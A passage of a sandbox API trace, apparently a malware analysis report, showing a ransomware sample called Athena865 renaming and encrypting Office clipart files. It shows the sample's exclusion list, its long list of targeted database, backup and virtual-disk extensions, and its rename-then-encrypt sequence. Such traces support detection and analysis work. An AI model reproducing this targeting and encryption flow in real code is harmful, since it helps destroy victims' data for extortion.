returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0130.166] lstrlenW (lpString="pdm") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0130.166] lstrlenW (lpString="pnz") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0130.166] lstrlenW (lpString="qry") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0130.166] lstrlenW (lpString="qvd") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0130.166] lstrlenW (lpString="rbf") returned 3 [0130.166] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0130.166] lstrlenW (lpString="rctd") returned 4 [0130.167] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0130.167] lstrlenW (lpString="rod") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0130.167] lstrlenW (lpString="rodx") returned 4 [0130.167] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0130.167] lstrlenW (lpString="rpd") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0130.167] lstrlenW (lpString="rsd") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0130.167] lstrlenW (lpString="sas7bdat") returned 8 [0130.167] lstrcmpiW (lpString1="4991.WMF", lpString2="sas7bdat") returned -1 [0130.167] lstrlenW (lpString="sbf") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0130.167] lstrlenW (lpString="scx") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0130.167] lstrlenW (lpString="sdb") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0130.167] lstrlenW (lpString="sdc") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0130.167] lstrlenW (lpString="sdf") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0130.167] lstrlenW (lpString="sis") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0130.167] lstrlenW (lpString="spq") returned 3 [0130.167] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0130.167] lstrlenW (lpString="te") returned 2 [0130.168] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0130.168] lstrlenW (lpString="teacher") returned 7 [0130.168] lstrcmpiW (lpString1="991.WMF", lpString2="teacher") returned -1 [0130.168] lstrlenW (lpString="tmd") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0130.168] lstrlenW (lpString="tps") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0130.168] lstrlenW (lpString="trc") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0130.168] lstrlenW (lpString="trc") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0130.168] lstrlenW (lpString="trm") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0130.168] lstrlenW (lpString="udb") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0130.168] lstrlenW (lpString="udl") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0130.168] lstrlenW (lpString="usr") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0130.168] lstrlenW (lpString="v12") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0130.168] lstrlenW (lpString="vis") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0130.168] lstrlenW (lpString="vpd") returned 3 [0130.168] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0130.169] lstrlenW (lpString="vvv") returned 3 [0130.169] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0130.169] lstrlenW (lpString="wdb") returned 3 [0130.169] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0130.169] lstrlenW (lpString="wmdb") returned 4 [0130.169] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0130.169] lstrlenW (lpString="wrk") returned 3 [0130.169] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0130.169] lstrlenW (lpString="xdb") returned 3 [0130.169] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0130.169] lstrlenW (lpString="xld") returned 3 [0130.169] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0130.169] lstrlenW (lpString="xmlff") returned 5 [0130.169] lstrcmpiW (lpString1="1.WMF", lpString2="xmlff") returned -1 [0130.169] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.Athena865") returned 73 [0130.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.athena865"), dwFlags=0x1) returned 1 [0130.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.171] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24960) returned 1 [0130.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.171] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.171] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.172] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.172] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.172] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6480, lpName=0x0) returned 0x154 [0130.174] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6480) returned 0x100000 [0130.175] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.176] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.176] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.176] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.176] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.177] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.177] CloseHandle (hObject=0x154) returned 1 [0130.177] CloseHandle (hObject=0x17c) returned 1 [0130.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.178] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2=".") returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="..") returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="windows") returned -1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="bootmgr") returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="temp") returned -1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="pagefile.sys") returned -1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="boot") returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="ids.txt") returned 1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="ntuser.dat") returned -1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="perflogs") returned -1 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2="MSBuild") returned -1 [0130.178] lstrlenW (lpString="J0295069.WMF") returned 12 [0130.178] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0295069.WMF" | out: lpString1="J0295069.WMF") returned="J0295069.WMF" [0130.178] lstrlenW (lpString="J0295069.WMF") returned 12 [0130.178] lstrlenW (lpString="Athena865") returned 9 [0130.178] lstrcmpiW (lpString1="95069.WMF", lpString2="Athena865") returned -1 [0130.178] lstrlenW (lpString=".dll") returned 4 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2=".dll") returned 1 [0130.178] lstrlenW (lpString=".lnk") returned 4 [0130.178] lstrcmpiW (lpString1="J0295069.WMF", lpString2=".lnk") returned 1 [0130.179] lstrlenW (lpString=".ini") returned 4 [0130.179] lstrcmpiW (lpString1="J0295069.WMF", lpString2=".ini") returned 1 [0130.179] lstrlenW (lpString=".sys") returned 4 [0130.179] lstrcmpiW (lpString1="J0295069.WMF", lpString2=".sys") returned 1 [0130.179] lstrlenW (lpString="J0295069.WMF") returned 12 [0130.179] lstrlenW (lpString="bak") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0130.179] lstrlenW (lpString="ba_") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0130.179] lstrlenW (lpString="dbb") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0130.179] lstrlenW (lpString="vmdk") returned 4 [0130.179] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0130.179] lstrlenW (lpString="rar") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0130.179] lstrlenW (lpString="zip") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0130.179] lstrlenW (lpString="tgz") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0130.179] lstrlenW (lpString="vbox") returned 4 [0130.179] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0130.179] lstrlenW (lpString="vdi") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0130.179] lstrlenW (lpString="vhd") returned 3 [0130.179] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0130.179] lstrlenW (lpString="vhdx") returned 4 [0130.179] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0130.180] lstrlenW (lpString="avhd") returned 4 [0130.180] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0130.180] lstrlenW (lpString="db") returned 2 [0130.180] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0130.180] lstrlenW (lpString="db2") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0130.180] lstrlenW (lpString="db3") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0130.180] lstrlenW (lpString="dbf") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0130.180] lstrlenW (lpString="mdf") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0130.180] lstrlenW (lpString="mdb") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0130.180] lstrlenW (lpString="sql") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0130.180] lstrlenW (lpString="sqlite") returned 6 [0130.180] lstrcmpiW (lpString1="69.WMF", lpString2="sqlite") returned -1 [0130.180] lstrlenW (lpString="sqlite3") returned 7 [0130.180] lstrcmpiW (lpString1="069.WMF", lpString2="sqlite3") returned -1 [0130.180] lstrlenW (lpString="sqlitedb") returned 8 [0130.180] lstrcmpiW (lpString1="5069.WMF", lpString2="sqlitedb") returned -1 [0130.180] lstrlenW (lpString="xml") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0130.180] lstrlenW (lpString="$er") returned 3 [0130.180] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0130.181] lstrlenW (lpString="4dd") returned 3 [0130.181] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0130.181] lstrlenW (lpString="4dl") returned 3 [0130.181] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0130.181] lstrlenW (lpString="^^^") returned 3 [0130.181] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0130.181] lstrlenW (lpString="abs") returned 3 [0130.181] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0130.181] lstrlenW (lpString="abx") returned 3 [0130.181] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0130.181] lstrlenW (lpString="accdb") returned 5 [0130.181] lstrcmpiW (lpString1="9.WMF", lpString2="accdb") returned -1 [0130.181] lstrlenW (lpString="accdc") returned 5 [0130.181] lstrcmpiW (lpString1="9.WMF", lpString2="accdc") returned -1 [0130.181] lstrlenW (lpString="accde") returned 5 [0130.181] lstrcmpiW (lpString1="9.WMF", lpString2="accde") returned -1 [0130.181] lstrlenW (lpString="accdr") returned 5 [0130.181] lstrcmpiW (lpString1="9.WMF", lpString2="accdr") returned -1 [0130.181] lstrlenW (lpString="accdt") returned 5 [0130.181] lstrcmpiW (lpString1="9.WMF", lpString2="accdt") returned -1 [0130.181] lstrlenW (lpString="accdw") returned 5 [0130.181] lstrcmpiW (lpString1="9.WMF", lpString2="accdw") returned -1 [0130.181] lstrlenW (lpString="accft") returned 5 [0130.181] lstrcmpiW (lpString1="9.WMF", lpString2="accft") returned -1 [0130.181] lstrlenW (lpString="adb") returned 3 [0130.181] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.181] lstrlenW (lpString="adb") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.182] lstrlenW (lpString="ade") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0130.182] lstrlenW (lpString="adf") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0130.182] lstrlenW (lpString="adn") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0130.182] lstrlenW (lpString="adp") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0130.182] lstrlenW (lpString="alf") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0130.182] lstrlenW (lpString="ask") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0130.182] lstrlenW (lpString="btr") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0130.182] lstrlenW (lpString="cat") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0130.182] lstrlenW (lpString="cdb") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0130.182] lstrlenW (lpString="ckp") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0130.182] lstrlenW (lpString="cma") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0130.182] lstrlenW (lpString="cpd") returned 3 [0130.182] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0130.182] lstrlenW (lpString="dacpac") returned 6 [0130.182] lstrcmpiW (lpString1="69.WMF", lpString2="dacpac") returned -1 [0130.182] lstrlenW (lpString="dad") returned 3 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0130.183] lstrlenW (lpString="dadiagrams") returned 10 [0130.183] lstrcmpiW (lpString1="295069.WMF", lpString2="dadiagrams") returned -1 [0130.183] lstrlenW (lpString="daschema") returned 8 [0130.183] lstrcmpiW (lpString1="5069.WMF", lpString2="daschema") returned -1 [0130.183] lstrlenW (lpString="db-journal") returned 10 [0130.183] lstrcmpiW (lpString1="295069.WMF", lpString2="db-journal") returned -1 [0130.183] lstrlenW (lpString="db-shm") returned 6 [0130.183] lstrcmpiW (lpString1="69.WMF", lpString2="db-shm") returned -1 [0130.183] lstrlenW (lpString="db-wal") returned 6 [0130.183] lstrcmpiW (lpString1="69.WMF", lpString2="db-wal") returned -1 [0130.183] lstrlenW (lpString="dbc") returned 3 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0130.183] lstrlenW (lpString="dbs") returned 3 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0130.183] lstrlenW (lpString="dbt") returned 3 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0130.183] lstrlenW (lpString="dbv") returned 3 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0130.183] lstrlenW (lpString="dbx") returned 3 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0130.183] lstrlenW (lpString="dcb") returned 3 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0130.183] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0130.184] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.Athena865") returned 73 [0130.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.athena865"), dwFlags=0x1) returned 1 [0130.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.185] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8626) returned 1 [0130.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.186] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.186] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.187] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.187] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.187] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24c0, lpName=0x0) returned 0x154 [0130.188] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24c0) returned 0x100000 [0130.189] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.190] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.190] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.190] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.191] CloseHandle (hObject=0x154) returned 1 [0130.191] CloseHandle (hObject=0x17c) returned 1 [0130.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.191] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2=".") returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="..") returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="windows") returned -1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="bootmgr") returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="temp") returned -1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="pagefile.sys") returned -1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="boot") returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="ids.txt") returned 1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="ntuser.dat") returned -1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="perflogs") returned -1 [0130.191] lstrcmpiW (lpString1="J0296277.WMF", lpString2="MSBuild") returned -1 [0130.192] lstrlenW (lpString="J0296277.WMF") returned 12 [0130.192] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0296277.WMF" | out: lpString1="J0296277.WMF") returned="J0296277.WMF" [0130.192] lstrlenW (lpString="J0296277.WMF") returned 12 [0130.192] lstrlenW (lpString="Athena865") returned 9 [0130.192] lstrcmpiW (lpString1="96277.WMF", lpString2="Athena865") returned -1 [0130.192] lstrlenW (lpString=".dll") returned 4 [0130.192] lstrcmpiW (lpString1="J0296277.WMF", lpString2=".dll") returned 1 [0130.192] lstrlenW (lpString=".lnk") returned 4 [0130.192] lstrcmpiW (lpString1="J0296277.WMF", lpString2=".lnk") returned 1 [0130.192] lstrlenW (lpString=".ini") returned 4 [0130.192] lstrcmpiW (lpString1="J0296277.WMF", lpString2=".ini") returned 1 [0130.192] lstrlenW (lpString=".sys") returned 4 [0130.192] lstrcmpiW (lpString1="J0296277.WMF", lpString2=".sys") returned 1 [0130.192] lstrlenW (lpString="J0296277.WMF") returned 12 [0130.192] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.Athena865") returned 73 [0130.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.athena865"), dwFlags=0x1) returned 1 [0130.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.194] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=58412) returned 1 [0130.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.194] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.194] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.195] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.195] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.195] 